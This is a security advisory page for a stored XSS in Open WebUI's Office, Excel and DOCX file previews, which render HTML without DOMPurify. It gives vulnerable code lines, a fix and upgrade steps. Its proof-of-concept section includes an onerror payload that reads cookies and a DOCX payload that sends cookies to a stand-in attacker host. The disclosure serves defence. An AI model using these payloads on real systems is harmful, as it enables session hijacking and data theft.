Skip to content

GHSA-hcwp-82g6-8wxc CVE-2026-45318 PYSEC-2026-2731

Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)

Medium PyPI
Severity
5.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.21%
Chance of exploitation in the next 30 days. Higher than 11.15% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
0.9.3
Upgrade open-webui to this version or later

Description

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte — Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte — Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte — DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

Metric Value
Total {@html} usages 23
With DOMPurify 9 (39%)
Without DOMPurify 14 (61%)
Confirmed exploitable (file preview) 3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

  • Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

  1. Create a .xlsx file with a cell containing:

    <img src=x onerror="alert(document.cookie)">
    

    (Using a library like openpyxl to inject raw HTML into cell values)

  2. Upload the file to Open WebUI via the chat file upload

  3. When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

  1. Create a .docx file with embedded HTML:

    <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
    
  2. Upload to Open WebUI

  3. File preview renders docxHtml → XSS fires

PoC 3: Verify Rendering Path

// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

  • Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
  • Session hijacking via document.cookie theft
  • Account takeover — attacker can perform actions as the victim user
  • Data exfiltration — read chat history, API keys, uploaded documents
  • Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
  • Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
  • OWASP XSS Prevention Cheat Sheet
  • GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Affected versions

PyPI

PackageVulnerableFixed in
open-webui
< 0.9.3
0.9.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

open-webui PyPI → 0.9.3

pip
pip install --upgrade "open-webui>=0.9.3"
poetry
poetry add "open-webui>=0.9.3"
uv
uv add "open-webui>=0.9.3"

Severity breakdown

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-wvm9-9g5j-623f
Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-4qg5-cxx4-g927
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Medium Also affects open-webui
GHSA-jqhh-cjmq-vmv6
Open WebUI: Any authenticated user can hang the server via a cyclic chat message history
Medium Also affects open-webui
GHSA-5x7x-4c3c-qf5w
Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets
Medium Also affects open-webui
GHSA-3cgp-3cqx-j8w2
Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree
Medium Also affects open-webui
GHSA-34r3-9m95-vq73
Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch
High Also affects open-webui
GHSA-2724-6cpj-gf3v
Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion
High Also affects open-webui
GHSA-3pf7-q2g3-wj28
Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions
Medium Also affects open-webui
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor